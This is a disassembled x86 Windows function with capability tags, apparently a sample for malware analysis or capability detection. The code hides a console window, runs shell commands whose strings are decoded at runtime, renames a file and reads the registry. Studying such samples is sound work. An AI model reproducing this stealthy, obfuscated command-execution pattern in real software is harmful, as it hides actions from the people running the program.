Function at 0x5b2310
Capabilities:
Execute command
Hide graphical window
Move file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x61496b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x408
push 0
call fcn.005a8c90
add esp, 4
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
lea ecx, [ebp - 0x50]
call fcn.0041ce70
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.0041ce70
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x70]
call fcn.0041ce70
mov byte [ebp - 4], 2
mov dword [ebp - 0x180], 0
jmp 0x5b2389
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
cmp dword [ebp - 0x180], 0xa
jae 0x5b23a5
call fcn.005b22b0
movzx edx, al
push edx
lea ecx, [ebp - 0x50]
call fcn.00420c70
jmp 0x5b237a
cmp dword [ebp + 8], 0
je 0x5b23b7
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x28]
call fcn.0041ce40
push 0x7fa7152d
lea ecx, [ebp - 0x261]
call fcn.005bea70
mov dword [ebp - 0x3dc], eax
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x3e0], ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x3e0]
push edx
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x280]
push ecx
call fcn.00596ec0
add esp, 0xc
mov dword [ebp - 0x3e4], eax
mov edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x3e8], edx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x3e8]
push eax
lea ecx, [ebp - 0x70]
call fcn.00415b30
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x280]
call fcn.00416470
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x261]
call fcn.005c23f0
lea ecx, [ebp - 0x70]
call fcn.00416460
mov dword [ebp - 0x17c], eax
mov ecx, dword [ebp - 0x17c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.00416460
push eax
call sub.MSVCR90.dll_rename
add esp, 8
call fcn.005a7630
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
mov edx, 0x82f1808f
push edx
lea ecx, [ebp - 0x293]
call fcn.005be400
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x3ec]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x74], eax
lea ecx, [ebp - 0x293]
call fcn.005b3ca0
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3faad112
lea ecx, [ebp - 0x30d]
call fcn.005be480
mov dword [ebp - 0x3f0], eax
mov edx, dword [ebp - 0x3f0]
push edx
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x30d]
call fcn.005b3fa0
push 0x3ba4253
lea ecx, [ebp - 0x351]
call fcn.005beaf0
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x3f4]
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x351]
call fcn.005b4080
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x30], 0xff
lea ecx, [ebp - 0x34]
push ecx
push 0xf003f
push 0
mov edx, 0xe4d8c0b8
push edx
lea ecx, [ebp - 0x37e]
call fcn.005be580
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x3f8]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x178], eax
lea ecx, [ebp - 0x37e]
call fcn.005b4000
cmp dword [ebp - 0x178], 0
jne 0x5b2784
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x174]
push edx
lea eax, [ebp - 0x2c]
push eax
push 0
mov ecx, 0xe0444ba0
push ecx
lea ecx, [ebp - 0x389]
call fcn.005be600
mov dword [ebp - 0x3fc], eax
mov edx, dword [ebp - 0x3fc]
push edx
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x178], eax
lea ecx, [ebp - 0x389]
call fcn.005b3ee0
cmp dword [ebp - 0x178], 0
jne 0x5b2784
mov ecx, 0xe1d3c932
push ecx
lea ecx, [ebp - 0x3ab]
call fcn.005be680
mov dword [ebp - 0x400], eax
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x404], edx
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x404]
push eax
lea ecx, [ebp - 0x25c]
call fcn.00416410
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3ab]
call fcn.005c6bc0
push 0x718daaf0
lea ecx, [ebp - 0x3b6]
call fcn.005be700
mov dword [ebp - 0x408], eax
mov ecx, dword [ebp - 0x408]
mov dword [ebp - 0x40c], ecx
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x40c]
push edx
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x174]
push ecx
lea edx, [ebp - 0x3d4]
push edx
call fcn.00423920
add esp, 0xc
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x414], eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x414]
push ecx
lea edx, [ebp - 0x19c]
push edx
call fcn.00596ec0
add esp, 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3d4]
call fcn.00416470
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3b6]
call fcn.005b3ee0
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x174]
push ecx
lea edx, [ebp - 0x240]
push edx
call fcn.00423920
add esp, 0xc
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x240]
call fcn.00416460
test eax, eax
je 0x5b26e2
lea ecx, [ebp - 0x240]
call fcn.00416460
push eax
call fcn.005b22f0
add esp, 4
call fcn.005b1fa0
push 1
push 0x40
push 8
lea ecx, [ebp - 0x19c]
call fcn.00416460
push eax
lea ecx, [ebp - 0x224]
call fcn.005b40b0
mov byte [ebp - 4], 0xe
push 0x420840
mov eax, dword [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x224]
push ecx
call fcn.004235b0
add esp, 8
mov ecx, eax
call fcn.00420cc0
lea ecx, [ebp - 0x224]
call fcn.00421290
lea ecx, [ebp - 0x70]
call fcn.00416460
push eax
mov ecx, 0x7fe288
call fcn.0041ce40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x224]
call fcn.004208d0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x240]
call fcn.00416470
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x19c]
call fcn.00416470
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x25c]
call fcn.00416470
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x7fe288
call fcn.00416460
mov dword [ebp - 0x3d8], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x70]
call fcn.00416470
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00416470
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00416470
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret